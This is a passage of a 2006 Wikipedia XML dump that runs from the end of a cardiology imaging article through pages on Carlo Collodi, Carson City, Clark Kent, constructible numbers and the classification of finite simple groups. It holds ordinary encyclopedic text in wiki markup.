[[Computed axial tomography]], an imaging methodology using a ring-shaped machine with an [[X-Ray]] source spinning around the circular path so as to bathe the inner circle with a uniform and known X-Ray density. High sensitivity X-Ray detectors are kept positioned opposite the X-Ray source around the ring. Variations in the intensity of the received X-Rays, as sensed by the detectors, reflect the relative [[radiodensity]] variations of objects within the circle. A high speed computer calculates a cross-sectional, [[tomography|tomographic]], 2-dimensional image reflecting the relative anatomic [[radiodensity]] of structure within the circle and are best viewed on a monitor. They are also printed on film (though with significant loss of information). If the object being scanned is moved smoothly through the ring as the process continues, then a series of spiraling tomographic data is generated which can be used to compute a 3-dimensional image, viewable on a monitor. Thus this technique is commonly called [[spiral CT]]. Cardiology uses are growing. The principle difficulty with current implementations, for [[Cardiology]] uses, is the difficulty of imaging the ever moving [[heart]] structures. [[Electron beam tomography]] (EBT), provides much faster tomographic imaging; spiral [[Computed axial tomography|CT]] tends to have better image quality but rotates too slowly, especially for smaller, more rapidly moving structures, such as the mid-section of the right [[coronary artery]].

===Magnetic resonance imaging===
''[[Magnetic resonance imaging]]'' (originally called nuclear magnetic resonance imaging), an imaging methodology based on aligning the spin axis of nuclei within [[molecule]]s of the object being visualized using both powerful [[superconducting magnet]]s and [[radio frequency]] [[signals]] and [[detector]]s. [[Cardiology]] uses are growing, especially since MRI differentiates [[soft tissue]]s better than [[Computed axial tomography|CT]]. The principle difficulty with current implementations, for [[Cardiology]] uses, is the difficulty of imaging the ever moving [[heart]] structures, more so than with CT because MRI is much slower.

== See also ==
* [[Cardiology]]

[[Category:Cardiology]]</text>
    </revision>
  </page>
  <page>
    <title>Carlo Collodi</title>
    <id>7437</id>
    <revision>
      <id>40818651</id>
      <timestamp>2006-02-23T05:22:21Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: tr</comment>
      <text xml:space="preserve">'''Carlo Lorenzini''' ([[November 24]], [[1826]] - [[October 26]], [[1890]]), better known as '''Carlo Collodi''', or simply '''Collodi''', was an Italian [[writer]] and [[journalist]]. His pseudonym, which he used from 1856 onwards, is the name of the [[Tuscany|Tuscan]] village where his mother, Angela Orzali, was born. Collodi himself was born and died in [[Florence]].

Best known as the creator of [[Pinocchio]], Lorenzini wrote many more novels and comedies.

During the Wars of Independence in [[1848]] and [[1860]] he served as a volunteer with the Tuscan army.  His active interest in political matters may be seen in his earliest literary works as well as in the founding of the satirical newspaper ''Il Lampione''.  This newspaper was censored by order of the Grand Duke of Tuscany in [[1849]] but re-emerged in May [[1860]].

Lorenzini had won fame as early as [[1856]] with his novel ''In vapore'' and had also begun intense activity on other political newspapers such as ''Il Fanfulla''; at the same time he was employed by the Censorship Commission for the Theatre. During this period he composed various satirical sketches and stories (sometimes simply by collating earlier articles), including ''Macchiette'' ([[1880]]), ''Occhi e nasi'' ([[1881]]), ''Storie allegre'' ([[1887]]).

In [[1875]] he entered the domain of children's literature with ''Racconti delle fate'', a translation of French fairy tales by [[Charles Perrault|Perrault]]. In [[1876]] Lorenzini wrote ''Giannettino'' (inspired by [[Alessandro Luigi Parravicini]]'s ''Giannetto''), the ''Minuzzolo'', and ''Il viaggio per l'Italia di Giannettino'', a series which explored the re-unification of Italy through the ironical thoughts and actions of the character Giannettino.

Lorenzini became fascinated by the idea of using an amiable, rascally character as a means of expressing his own convictions through allegory. In [[1880]] he began writing ''Storia di un burattino'' (&quot;The story of a [[marionette]]&quot;), also called ''Le avventure di Pinocchio'', which was published weekly in ''Il Giornale dei Bambini'' (the first Italian newspaper for children).

Lorenzini died unaware of the fame and popularity that awaited his work; as in the allegory of the story, Pinocchio eventually went on to lead his own independent life, distinct from that of the author. It has been said that this was one of the inspiring themes of [[Luigi Pirandello]]'s ''Sei personaggi in cerca d'autore''.  Lorenzini was buried at [[Basilica di San Miniato al Monte|San Miniato al Monte]] in [[Florence]].

==External links==
* {{gutenberg author| id=Carlo+Collodi | name=Carlo Collodi}}
*[[Project Gutenberg]] e-text of ''[http://www.gutenberg.net/etext/500 The Adventures of Pinocchio]'' (translated from the Italian by Carol Della Chiesa)
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=9904286  Find-A-Grave profile for Carlo Collodi ]
[[Category:1826 births|Collodi, Carlo]]
[[Category:1890 deaths|Collodi, Carlo]]
[[Category:Italian writers|Collodi, Carlo]]
[[Category:Italian journalists|Collodi, Carlo]]
[[Category:Natives of Tuscany|Collodi, Carlo]]

[[ca:Carlo Collodi]]
[[cs:Carlo Collodi]]
[[de:Carlo Collodi]]
[[eo:Carlo COLLODI]]
[[fr:Carlo Collodi]]
[[it:Carlo Collodi]]
[[he:קרלו קולודי]]
[[nl:Carlo Collodi]]
[[ja:カルロ・コッローディ]]
[[pl:Carlo Collodi]]
[[ru:Коллоди, Карло]]
[[sl:Carlo Collodi]]
[[sv:Carlo Collodi]]
[[tr:Carlo Collodi]]</text>
    </revision>
  </page>
  <page>
    <title>Childrens literature</title>
    <id>7438</id>
    <revision>
      <id>15905505</id>
      <timestamp>2002-05-21T20:43:38Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[children's literature]]</comment>
      <text xml:space="preserve">#redirect [[children's literature]]</text>
    </revision>
  </page>
  <page>
    <title>Constructible number</title>
    <id>7439</id>
    <revision>
      <id>40687391</id>
      <timestamp>2006-02-22T08:22:48Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">A [[point (geometry)|point]] in the [[Euclidean plane]] is a '''constructible point''' if, given a fixed [[coordinate system]] (or a fixed [[line segment]] of [[1 (number)|unit]] [[length]]), one can construct the point with [[Ruler-and-compass construction|unruled straightedge and compass]]. A [[complex number]] is a '''constructible number''' if its corresponding point in the Euclidean plane is constructible from the usual ''x''- and ''y''-coordinate axes.

Note that this is quite a distinct notion from [[Gödel's constructible universe]], L; though every number that is constructible in the sense of this article is in L, the converse fails badly.

It can then be shown that a [[real number]] is constructible [[if and only if]], given a [[line segment]] of [[1 (number)|unit]] [[length]], one can construct a line segment of length  &lt;math&gt;|r|&lt;/math&gt; with ruler and compass. It can also be shown that a complex number is constructible if and only if its [[real part|real]] and [[imaginary part]]s are constructible.

The set of constructible numbers can be completely [[characterization (mathematics)|characterized]] in the language of [[field (algebra)|field theory]]. This has the effect of transforming geometric questions about ruler-and-compass constructions into [[abstract algebra|algebra]]. This transformation leads to the solutions of many famous mathematical problems, which defied centuries of attack.

== Geometric definitions ==

The geometric definition of a constructible point is as follows. First, for any two distinct points ''P'' and ''Q'' in the plane, let ''L''(''P'', ''Q'') denote the unique line through ''P'' and ''Q'', and let ''C''(''P'', ''Q'') denote the unique circle with center ''P'', passing through ''Q''. (Note that the order of ''P'' and ''Q'' matters for the circle.) By convention, ''L''(''P'', ''P'') = ''C''(''P'', ''P'') = {''P''}. Then a point ''Z'' is ''constructible from E, F, G and H'' if either

#''Z'' is in the [[intersection]] of ''L''(''E'', ''F'') and ''L''(''G'', ''H''), where ''L''(''E'', ''F'') &amp;ne; ''L''(''G'', ''H'');
#''Z'' is in the intersection of ''C''(''E'', ''F'') and ''C''(''G'', ''H''), where ''C''(''E'', ''F'') &amp;ne; ''C''(''G'', ''H'');
#''Z'' is in the intersection of ''L''(''E'', ''F'') and ''C''(''G'', ''H'').

Since the order of ''E'', ''F'', ''G'', and ''H'' in the above definition is irrelevant, the four letters may be [[permutation|permuted]] in any way. Put simply, ''Z'' is constructible from ''E'', ''F'', ''G'' and ''H'' if it lies in the intersection of any two distinct lines, or of any two distinct circles, or of a line and a circle, where these lines and/or circles can be determined by ''E'', ''F'', ''G'', and ''H'', in the above sense.

Now, let ''A'' and ''A''&lt;nowiki&gt;'&lt;/nowiki&gt; be any two distinct fixed points in the plane. A point ''Z'' is ''constructible'' if either

#''Z'' = ''A'';
#''Z'' = ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;
#there exist points ''P''&lt;sub&gt;1&lt;/sub&gt;, ..., ''P''&lt;sub&gt;''n''&lt;/sub&gt;, with ''Z'' = ''P''&lt;sub&gt;''n''&lt;/sub&gt;, such that for all ''j'' &amp;ge; 1, ''P''&lt;sub&gt;''j'' + 1&lt;/sub&gt; is constructible from points in the set {''A'', ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;, ''P''&lt;sub&gt;1&lt;/sub&gt;, ..., ''P''&lt;sub&gt;''j''&lt;/sub&gt;}.

Put simply, ''Z'' is constructible if it is either ''A'' or ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;, or if it is obtainable from a finite sequence of points starting with ''A'' and ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;, where each new point is constructible from previous points in the sequence.

The ''origin O'' is defined as follows. The circles ''C''(''A'', ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;) and ''C''(''A''&lt;nowiki&gt;'&lt;/nowiki&gt;, ''A'') intersect in two distinct points; these points determine a unique line, and the origin ''O'' is defined to be the intersection of this line with ''L''(''A'', ''A''&lt;nowiki&gt;'&lt;/nowiki&gt;).

== Transformation into algebra ==

All [[rational number]]s are constructible, and all constructible numbers are [[algebraic number]]s. Also, if ''a'' and ''b'' are constructible numbers with ''b'' &amp;ne; 0, then ''a'' &amp;minus; b and ''a''/''b'' are constructible. Thus, the set ''K'' of all constructible complex numbers forms a [[field (algebra)|field]], a subfield of the field of algebraic numbers.

Furthermore, ''K'' is closed under square roots and [[complex conjugation]]. These facts can be used to characterize the field of constructible numbers, because, in essence, the equations defining lines and circles are no worse than quadratic. The characterization is the following: a complex number is constructible [[if and only if]] it lies in a field at the top of a finite tower of quadratic extensions, starting with the rational field '''Q'''. More precisely, ''z'' is constructible if and only if there exists a tower of fields

&lt;math&gt;\mathbb{Q} = K_0 \subseteq K_1 \subseteq \dots \subseteq K_n&lt;/math&gt;

where ''z'' is in ''K''&lt;sub&gt;''n''&lt;/sub&gt; and for all 0 &amp;le; ''j'' &lt; ''n'', the dimension [''K''&lt;sub&gt;''j'' + 1&lt;/sub&gt; : ''K''&lt;sub&gt;''j''&lt;/sub&gt;] = 2.

== Impossible constructions ==

The algebraic characterization of constructible numbers provides an important ''necessary'' condition for constructibility: if ''z'' is constructible, then it is algebraic, and its minimal irreducible polynomial has degree a power of 2, or equivalently, the field extension '''Q'''(''z'')/'''Q''' has dimension a power of 2. One should note that it is true, (but not obvious to show) that the converse is false &amp;mdash; this is not a ''sufficient'' condition for constructibility. However, this defect can be remedied by considering the normal closure of '''Q'''(''z'')/'''Q'''.

The nonconstructibility of certain numbers proves the impossibility of [[Ruler-and-compass construction#Impossible constructions|certain problems]] attempted by the philosophers of [[ancient Greece]]. In the following chart, each row represents a specific ancient construction problem. The left column gives the name of the problem. The second column gives an equivalent algebraic formulation of the problem. In other words, the solution to the problem is affirmative [[if and only if]] each number in the given set of numbers is constructible. Finally, the last column provides the simplest known [[counterexample]]. In other words, the number in the last column is an element of the set in the same row, but is not constructible.

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
! style=&quot;background:#efefef;&quot;|Construction problem
! style=&quot;background:#efefef;&quot;|Associated set of numbers
! style=&quot;background:#efefef;&quot;|Counterexample
|-
|[[Duplicating the cube]]
|&lt;math&gt;\left \{ \sqrt[3]{x} : x \mbox{ is constructible} \right \}&lt;/math&gt;
|&lt;math&gt;\sqrt[3]{2}&lt;/math&gt; is not constructible, because its minimal polynomial has degree 3 over '''Q'''
|-
|[[Trisecting the angle]]
|&lt;math&gt;\left \{ \cos \left( \frac{\arccos x}{3} \right) : x \mbox{ is constructible} \right \}&lt;/math&gt;
|&lt;math&gt;\cos \left( \frac{\arccos (1/2)}{3} \right) = \frac{1}{2} \left( 2\cos \left( \frac{\pi}{9} \right) \right)&lt;/math&gt; is not constructible, because &lt;math&gt;2\cos \left( \frac{\pi}{9} \right)&lt;/math&gt; has minimal polynomial of degree 3 over '''Q'''
|-
|[[Squaring the circle]]
|&lt;math&gt;\left \{ \sqrt{\pi} \right \}&lt;/math&gt;
|&lt;math&gt;\sqrt{\pi}&lt;/math&gt; is not constructible, because &lt;math&gt;\left( \sqrt{\pi} \right) ^2 = \pi&lt;/math&gt; is not algebraic over '''Q'''
|-
|[[Constructible polygon|Constructing all regular polygons]]
|&lt;math&gt;\left \{ e^{2\pi i/n} : n \in \mathbb{N}, n \geq 3 \right \}&lt;/math&gt;
|&lt;math&gt;e^{2\pi i/7}&lt;/math&gt; is not constructible, because 7 is not a [[Fermat prime]]
|}

==See also==

*[[Definable number]]

[[Category:Ruler-and-compass constructions]]

[[da:Konstruerbare tal]]
[[fr:Nombre constructible]]
[[ko:작도가능한 수]]</text>
    </revision>
  </page>
  <page>
    <title>Carson City, Nevada</title>
    <id>7441</id>
    <revision>
      <id>40494484</id>
      <timestamp>2006-02-20T23:47:20Z</timestamp>
      <contributor>
        <username>Scott5114</username>
        <id>134595</id>
      </contributor>
      <comment>Removing some info and merging it into [[Interstate 580 (Nevada)]] article.</comment>
      <text xml:space="preserve">:''Carson City redirects here. There is also [[Carson City, Michigan]].''  
{{Infobox U.S. City|
 city = Carson City |
 state = Nevada|
 motto = Proud of its Past...Confident of its Future|
 nickname =  |
 flag = CarsonCityNV.gif  |
 seal = CarsonCityNVseal.gif  |
 map = Map of Nevada highlighting Carson City.svg |
 map size= 250 |
 map cap = Location in [[Nevada]]|
 founded = [[1858]] |
 incorporated =  |
 county = [[Independent City]] |
 mayor =  [[Marv Teixeira]]|
 area = 403.2 [[square kilometer|km&amp;sup2;]] (155.7 [[square mile|mi&amp;sup2;]]) |
 area water = 31.9 km&amp;sup2; (12.3 mi&amp;sup2;) |
 area percentage = 7.91%|
 census yr = 2000|
 city pop = 52,457|
 metro pop = n/a|
 density = 141|
 time zone = Pacific|
 utc = 8|
 north_coord = 39.1609 |
 west_coord = 119.7539|
 web = www.carson-city.nv.us|
|}}

'''Carson City''' is the capital of the [[U.S. state|state]] of [[Nevada]] in the [[United States|United States of America]].  As of the [[2000]] census, its population is 52,457.  Carson City is now an [[independent city]], not part of any county.

Like many towns in Nevada, Carson City was founded in the boom days of mining -- in the case of Carson City, [[silver]] mining.  It was the [[county seat]] of the former (1861-1969) [[Ormsby County, Nevada|Ormsby County]], and was named for explorer [[Kit Carson]].

Carson City is one of only five state capitals not served by an interstate highway. [[Dover, Delaware]]; [[Jefferson City, Missouri]]; [[Juneau, Alaska]]; and [[Pierre, South Dakota]] are the other four state capitals with this distinction.  This will soon change however, as [[Interstate 580 (Nevada)|Interstate 580]], currently under construction, will eventually loop around the city and end near [[US 50]] to the south. A four lane stretch between Lakeview Hill and US 50, has been completed and opened to traffic as of [[February 16]], [[2006]]. 

The largest nearby city to Carson City is [[Reno, Nevada|Reno]], about 30 miles to the north.

== Geography ==
Carson City is located at 39&amp;deg;9'39&quot; North, 119&amp;deg;45'14&quot; West (39.160949, -119.753877){{GR|1}}.

According to the [[United States Census Bureau]], Carson City has a total area of 403.2 [[square kilometre|km&amp;sup2;]] (155.7 [[square mile|mi&amp;sup2;]]).  371.3 km&amp;sup2; (143.4 mi&amp;sup2;) of it is land and 31.9 km&amp;sup2; (12.3 mi&amp;sup2;) of it is water.  The total area is 7.91% water.

== Demographics ==
[[Image:NavadaCapitolCarsonCity.jpg|thumb|150px|left|Capitol Building, 1870]]

As of the [[census]]{{GR|2}} of [[2000]], there are 52,457 people, 20,171 households, and 13,252 families residing in the city.  The [[population density]] is 141/km&amp;sup2; (366/mi&amp;sup2;).  There are 21,283 housing units at an average density of 57/km&amp;sup2; (148/mi&amp;sup2;).  The racial makeup of the city is 85.30% [[Race (U.S. census)|White]], 1.80% [[Race (U.S. census)|Black]] or [[Race (U.S. census)|African American]], 2.40% [[Race (U.S. census)|Native American]], 1.77% [[Race (U.S. census)|Asian]], 0.14% [[Race (U.S. census)|Pacific Islander]], 6.46% from [[race (U.S. census)|other races]], and 2.12% from two or more races.  14.23% of the population are [[Race (U.S. census)|Hispanic]] or [[Race (U.S. census)|Latino]] of any race.

There are 20,171 households, out of which 29.80% have children under the age of 18 living with them, 50.00% are [[Marriage|married couples]] living together, 11.00% have a female householder with no husband present, and 34.30% are non-families. 27.80% of all households are made up of individuals and 11.00% have someone living alone who is 65 years of age or older.  The average household size is 2.44 and the average family size is 2.97.

The city's age distribution is: 23.40% under the age of 18, 7.90% from 18 to 24, 28.90% from 25 to 44, 24.90% from 45 to 64, and 14.90% who are 65 years of age or older.  The median age is 39 years.  For every 100 females there are 106.90 males.  For every 100 females age 18 and over, there are 108.20 males.

The median income for a household in the city is $41,809, and the median income for a family is $49,570. Males have a median income of $35,296 versus $27,418 for females. The [[per capita income]] for the city is $20,943.  10.00% of the population and 6.90% of families are below the [[poverty line]].  Out of the total population, 13.70% of those under the age of 18 and 5.80% of those 65 and older are living below the poverty line.

==Culture==
*[[Nevada State Museum ]]
*[[Nevada State Railroad Museum]]

== External links ==
*[http://www.carson-city.nv.us City of Carson City] - official site.
*[http://www.carson-city.org Carson City Convention and Visitors Bureau]
{{Mapit-US-cityscale|39.160949|-119.753877}}

{{Nevada}}
{{United_States_state_capitals}}

[[Category:Cities in Nevada]]
[[Category:Great Basin]]
[[Category:Independent cities in the United States]]
[[Category:State capitals in the United States]]

[[bg:Карсън Сити]]
[[da:Carson City]]
[[de:Carson City (Nevada)]]
[[es:Carson City]]
[[eo:Carson City (Nevado)]]
[[fr:Carson City]]
[[he:קרסון סיטי]]
[[nl:Carson City]]
[[ja:カーソンシティ (ネバダ州)]]
[[pl:Carson City (Nevada)]]
[[pt:Carson City]]
[[sv:Carson City]]</text>
    </revision>
  </page>
  <page>
    <title>Clark Kent</title>
    <id>7442</id>
    <revision>
      <id>41497038</id>
      <timestamp>2006-02-27T19:39:42Z</timestamp>
      <contributor>
        <ip>82.10.101.241</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Superman_296.jpg|thumb|right|250px|[[Superman]] and his secret identity Clark Kent being portrayed as distinct individuals. From ''Superman'' (volume 1) #296, February 1976. Art by [[Curt Swan]].]]

'''Clark Joseph Kent''', or '''Clark Jerome Kent''',{{ref|jerome}} is a fictional character created by [[Joe Shuster]] and [[Jerry Siegel]] as civilian [[secret identity]] of the [[superhero]] [[Superman]]. Through the popularity of his Superman [[alter ego]], the personality, concept, and name of Clark Kent have become ingrained in popular culture as well, becoming synonymous with secret identities and innocuous fronts for ulterior motives and activities.

As first written in the earliest ''Superman'' comics, Clark Kent's primary purpose was to fulfill the perceived dramatic requirement that a costumed [[superhero]] cannot stay on-duty twenty-four hours a day, or throughout the entirety of a comic book series. As such, Kent acted as little more than a front for Superman's activities. Although his name and history were taken from his early life with his adoptive Earth parents, everything about Kent was staged for the benefit of his alternate identity&amp;mdash;he acquired a job as a reporter for the ''[[Daily Planet]]'' for the convenience of receiving late-breaking news before the general public, providing an excuse for being present at crime scenes and having an occupation where his whereabouts do not have to be strictly accounted for as long as he makes his story deadlines. However, in order to draw attention away from the correlation between Kent and Superman, Clark Kent adopted a largely passive and introverted personality, applying conservative mannerisms, a higher-pitched voice, and a slight slouch. This personality is typically described as &quot;mild-mannered,&quot; perhaps most famously by the opening narration of [[Max Fleischer]]'s [[Superman (1940s cartoons)|''Superman'' animated theatrical shorts]]. These traits extended into Kent's wardrobe, typically consisting of a blue business suit, a red necktie, black-rimmed glasses, and combed-back hair.

Kent wears his Superman costume underneath his street clothes, which lends itself to easy transferrence between the two personalities. However, the purpose of this convention outside of fiction is largely dramatic, allowing Kent to rip open his shirt and reveal the familiar &quot;S&quot; insignia when called into action. When in action, Superman usually stores his Clark Kent clothing inside a secret pouch hidden inside of his cape, though some stories have shown him leaving his clothes in some covert location(usually bizarre places like phone booths) for later retrieval.

In the wake of John Byrne's ''[[The Man of Steel]]'' reboot of Superman continuity, many traditional aspects of Clark Kent were dropped in favor of giving him a more aggressive and extroverted personality, including such aspects as making Kent a top [[American football|football]] player in high school, along with being a successful author. Recently, some aspects of this change have been dropped, in favor of bringing back elements of the earlier, &quot;mild-mannered&quot; version of Kent.

In Metropolis, Superman (as Clark Kent) works as a reporter at the Planet, &quot;a great metropolitan newspaper&quot; which allows him to keep track of ongoing events where he might be of help. Largely working on his own, his identity is easily kept secret. Fellow reporter [[Lois Lane]] became the object of Clark's/Superman's romantic affection. Lois's affection for Superman and her rejection of Clark's clumsy advances have been a recurring theme in Superman comics, television, and movies.

Various reasons over the decades have been offered for why people haven't suspected Superman and Clark Kent of being one and the same. In the 1970s, one such suggestion was that the lenses of Clark Kent's glasses (made of Kryptonian materials) constantly amplified a low-level super-[[hypnosis]] power, thereby creating the illusion of others viewing Clark Kent as a weak and frailer being; however, this reason was abandoned almost as quickly as it was introduced, since it had various flaws (such as stories where [[Batman]] would disguise himself as Clark Kent, among others).

Another reason given in the late 1980s was that Superman would vibrate his face slightly so that photographs would only show his features as a blur, thus preventing the danger of photographs of both identities being reliably compared. However, more recent stories showing Superman being photographed have tended to ignore this factor.

&lt;!-- Some redundancy in this section --&gt;
The main means by which Superman protects his secret identity is by accentuating the physical distinctions between Superman and Clark Kent: Clark Kent is usually shown as wearing conservative clothing, slightly slouching, and speaking in a higher-pitched voice, along with adopting more introverted mannerisms than his heroic alter-ego. Traditionally, Lois Lane and others would often suspect Superman of truly being Clark Kent (and vice-versa), though more recent comics often feature the general public assuming that Superman doesn't have a secret identity (since he doesn't wear a mask, the assumption is that he has nothing to hide); in ''Superman'' (volume 2) #2 (1987), for example, a super-computer constructed by Lex Luthor calculated Superman's true identity, but Lex dismissed the idea because he could not believe that someone so powerful would want another identity. In modern comic continuity, Lois Lane never suspected the dual identity before Clark revealed it to her (except for one time when she visited the Kent farm, where she was told that Superman was &quot;brought up&quot; alongside Clark like a brother).

Some fans have noted that in order for the disguise to be credible, Clark has to be at least as skilled an actor as [[Christopher Reeve]]. The actor's portrayal of Clark in the feature film series was praised for making the disguise's effectiveness credible to audiences (though not all fans embraced it as warmly). According to the 2004 limited series ''[[Superman: Birthright]]'' (which retells Superman's origin), young Clark Kent studies the [[Meisner technique]] so that he can seamlessly move between his Clark and Superman personas.

When crises arise, Clark quickly changes into Superman. In the Fleischer animated series of theatrical cartoons, he often ducked into a telephone booth to make the transformation. In the comic books he rarely does so, favoring the Daily Planet's storeroom. As a dramatic plot device, Clark often has to quickly improvise in order to find a way to change unnoticed. For example in the first Christopher Reeve Superman movie, Kent is comically unable to use a newer, open-kiosk pay phone, so he enters a revolving door and changes clothes while spinning within it at superspeed. Thus made invisible, he appeared to enter the building as Kent and exit seconds later as Superman.

==In other media==
[[Image:1Clark_Season_5_Opening_Credits.jpg |thumb|200px|right|[[Tom Welling]] as Clark Kent in the 2000s television series ''[[Smallville (TV series)|Smallville]]''.]]
Clark Kent's character is given heavier emphasis than his superheroic alter-ego in the 1990s series ''[[Lois and Clark: The New Adventures of Superman]]'' and the 2000s series ''[[Smallville (TV series)|Smallville]]'' where Clark has not yet adopted the identity of Superman. In ''Lois and Clark'', Clark is portrayed by [[Dean Cain]]; in ''Smallville'', Clark (as a [[teenager]]) is portrayed by [[Tom Welling]].

==Notes==
#{{note|jerome}} Note that some sources claim that Kent's middle name is in fact &quot;Jerome&quot;, and that he was given this name in honor of creator [[Jerry Siegel]]. The name &quot;Jerome&quot; was used in the &quot;Season's Greetings&quot; episode of the television series ''[[Lois and Clark: The New Adventures of Superman]]''. It was also featured in several episodes of the 2000s television series ''[[Smallville (TV series)|Smallville]]''.

[[Category:Superman]]
[[Category:Fictional reporters]]
[[Category:Superman supporting characters]]</text>
    </revision>
  </page>
  <page>
    <title>Comic Fantasy</title>
    <id>7443</id>
    <revision>
      <id>15905509</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Comic fantasy]]
</text>
    </revision>
  </page>
  <page>
    <title>Christian Mythology</title>
    <id>7444</id>
    <revision>
      <id>15905510</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Christian_mythology]]
</text>
    </revision>
  </page>
  <page>
    <title>Classification of finite simple groups</title>
    <id>7445</id>
    <revision>
      <id>40870315</id>
      <timestamp>2006-02-23T15:38:29Z</timestamp>
      <contributor>
        <username>Kidburla2002</username>
        <id>5504</id>
      </contributor>
      <comment>/* The classification */</comment>
      <text xml:space="preserve">The '''classification of the finite simple groups''', also called &quot;the enormous theorem&quot;, is a vast body of work in [[mathematics]], mostly published between around [[1955]] and [[1983]], which is thought to classify all of the [[finite set|finite]] [[simple group]]s. In all, the work comprises tens of thousands of pages in 500 journal articles by some 100 authors. 

==The classification==

If correct, the classification shows [[list of finite simple groups|every finite simple group]] to be one of the following types:

* A [[cyclic group]] with [[prime number|prime]] order
* An [[alternating group]] of degree at least 5
* A &quot;classical group&quot; ([[projective special linear group|projective special linear]], [[symplectic group|symplectic]], [[orthogonal group|orthogonal]] or [[unitary group|unitary]] group over a [[finite field]])
* An exceptional or twisted [[group of Lie type]] (including the [[Tits group]])
* One of 26 left-over groups known as the '''sporadic groups''' (listed below)

The theorem has widespread applications in many branches of [[mathematics]], as questions about finite groups can often be reduced to questions about
finite simple groups, which by the classification can be reduced to
an enumeration of cases.

Sometimes the [[Tits group]] is regarded as a sporadic group (in which case there are 27 sporadic groups) because it is not strictly a group of Lie type.

== The sporadic groups ==

Five of the sporadic groups were discovered by Mathieu in the [[1860s]] and the other 21 were found between [[1965]] and [[1975]]. Several of these groups were predicted to exist before they were constructed. Most of the groups are named after the mathematician(s) who first predicted their existence. The full list is:

* [[Mathieu group]]s ''M''&lt;sub&gt;11&lt;/sub&gt;, ''M''&lt;sub&gt;12&lt;/sub&gt;, ''M''&lt;sub&gt;22&lt;/sub&gt;, ''M''&lt;sub&gt;23&lt;/sub&gt;, ''M''&lt;sub&gt;24&lt;/sub&gt;
* [[Janko group]]s ''J''&lt;sub&gt;1&lt;/sub&gt;, ''J''&lt;sub&gt;2&lt;/sub&gt; or ''HJ'', ''J''&lt;sub&gt;3&lt;/sub&gt; or ''HJM'', ''J''&lt;sub&gt;4&lt;/sub&gt;
* [[Conway group]]s ''Co''&lt;sub&gt;1&lt;/sub&gt;, ''Co''&lt;sub&gt;2&lt;/sub&gt;, ''Co''&lt;sub&gt;3&lt;/sub&gt;
* [[Fischer group]]s ''Fi''&lt;sub&gt;22&lt;/sub&gt;, ''Fi''&lt;sub&gt;23&lt;/sub&gt;, ''Fi''&lt;sub&gt;24&lt;/sub&gt; or ''Fi''&lt;sub&gt;24&lt;/sub&gt;&amp;prime;
* [[Higman-Sims group]] ''HS''
* [[Conway group#Other sporadic groups|McLaughlin group]] ''McL''
* [[Held group]] ''He'' or ''F''&lt;sub&gt;7&lt;/sub&gt;
* [[Rudvalis group]] ''Ru''
* [[Conway group#Other sporadic groups|Suzuki sporadic group]] ''Suz''
* [[O'Nan group]] ''O'N''
* [[Harada-Norton group]] ''HN'' or ''F''&lt;sub&gt;5&lt;/sub&gt;
* [[Lyons group]] ''Ly''
* [[Thompson group (finite)|Thompson group]] ''Th'' or ''F''&lt;sub&gt;3&lt;/sub&gt;
* [[Baby Monster group]] ''B'' or ''F''&lt;sub&gt;2&lt;/sub&gt;
* Fischer-Griess [[Monster group]] ''M'' or ''F''&lt;sub&gt;1&lt;/sub&gt;

Matrix [[group representation|representations]] over finite fields for all the sporadic groups have been computed.

Of the 26 sporadic groups, 20 of them can be seen inside the [[Monster group]] as [[subgroup|subgroups]] or [[quotient group|quotients]] of subgroups. The 6 exceptions are ''J''&lt;sub&gt;1&lt;/sub&gt;, ''J''&lt;sub&gt;3&lt;/sub&gt;, ''J''&lt;sub&gt;4&lt;/sub&gt;, ''O'N'', ''Ru'' and ''Ly''. These 6 groups are sometimes known as the '''pariahs'''.

So far, there has been little progress in providing a convincing unification for
the sporadic groups.

==Remaining skepticism on the proof==

Some doubts remain on whether these articles provide a complete and correct proof, due to the sheer length and complexity of the published work and the fact that parts of the supposed proof remain unpublished. [[Jean-Pierre Serre]] is a notable skeptic of the claim of a proof. Such doubts were justified to an extent as gaps were later found and eventually fixed. 

For over a decade, experts have known of a &quot;serious gap&quot; (according to [[Michael Aschbacher]]) in the (unpublished) classification of [[quasithin group]]s due to Geoff Mason.  Gorenstein announced the classification of finite simple groups in 1983, based partly on the impression that the quasithin case was finished.  Aschbacher filled this gap in the early [[1990s|90s]], also unpublished. Aschbacher and Steve Smith have published a different proof comprising two volumes of about 1300 pages.

== A second-generation classification ==

Because of the extreme length of the proof of the classification of finite
simple groups, there has been a lot of work, called &quot;revisionism&quot;, originally led by [[Daniel Gorenstein]], in finding a simpler proof. This is the so-called '''second-generation classification proof'''.

Six volumes have been published [[as of 2005]], and manuscripts exist for most of the rest. The two Aschbacher and Smith volumes were written to provide a proof for the quasithin case that would work with both the first- and second-generation proof. It is estimated that the new proof will be approximately 5,000 pages when complete. (It should be noted that the newer proofs are being written in a more generous style.)

Gorenstein and his collaborators have given several reasons why a simpler proof is possible. The most important is that the correct, final statement is now known. Techniques can be applied that will suffice for the actual groups.
In contrast, during the original proof, nobody knew how many sporadic groups there were, and in fact some of the sporadic groups (for example, the [[Janko group]]s) were discovered in the process of trying to prove cases of the classification theorem. As a result, overly general techniques were applied.

